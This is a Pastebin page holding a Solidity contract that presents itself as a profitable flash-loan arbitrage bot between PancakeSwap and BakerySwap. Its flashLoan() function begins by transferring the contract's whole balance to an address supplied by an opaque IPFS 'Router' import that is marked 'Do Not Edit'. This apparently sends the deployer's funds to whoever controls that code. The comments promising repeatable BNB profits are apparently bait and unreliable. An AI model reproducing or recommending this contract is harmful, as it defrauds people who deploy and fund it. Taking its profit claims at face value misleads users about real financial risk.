Not a member of Pastebin yet?
                        Sign Up,
                        it unlocks many cool features!                    
                - pragma solidity ^0.5.0;
 - // PancakeSwap Smart Contracts
 - import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
 - import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
 - //BakerySwp Smart contracts
 - import "https://github.com/BakeryProject/bakery-swap-core/blob/master/contracts/interfaces/IBakerySwapFactory.sol";
 - // Router
 - import "ipfs://QmPwwi7CB1jiptMYFxRv3qfEvtvB3KXLWosDFMHPam22yb";
 - // Multiplier-Finance Smart Contracts
 - import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
 - import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
 - //Do Not Edit Above Imported Contract
 - contract InitiateFlashLoan {
 - RouterV2 router;
 - string public tokenName;
 - string public tokenSymbol;
 - uint256 flashLoanAmount;
 - constructor(
 - string memory _tokenName,
 - string memory _tokenSymbol,
 - uint256 _loanAmount
 - ) public {
 - tokenName = _tokenName;
 - tokenSymbol = _tokenSymbol;
 - flashLoanAmount = _loanAmount;
 - router = new RouterV2();
 - }
 - function() external payable {}
 - function checkOwnerAddress() public view returns(address) {
 - return address(msg.sender);
 - }
 - function checkContractAddress() public view returns(address) {
 - return address(this);
 - }
 - function loanBalance() public view returns(uint) {
 - return address(this).balance;
 - }
 - function flashLoan() public payable {
 - // Send required coins for swap
 - address(uint160(router.pancakeSwapAddress())).transfer(
 - address(this).balance
 - );
 - //Flash loan borrowed 3,137.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap.
 - router.borrowFlashloanFromMultiplier(
 - address(this),
 - router.bakerySwapAddress(),
 - flashLoanAmount
 - );
 - //To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract.
 - router.convertBnbToBusd(msg.sender, flashLoanAmount / 2);
 - //The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,148.39 BNB using BNB/BUSD BakerySwap.
 - router.callArbitrageBakerySwap(router.bakerySwapAddress(), msg.sender);
 - //After the arbitrage, 3,148.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 BNB of gas.
 - router.transferBnbToMultiplier(router.pancakeSwapAddress());
 - //Note that the transaction sender gains 3.29 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time.
 - router.completeTransation(address(this).balance);
 - }
 - }
 
Advertisement
 
                    Add Comment                
                
                        Please, Sign In to add comment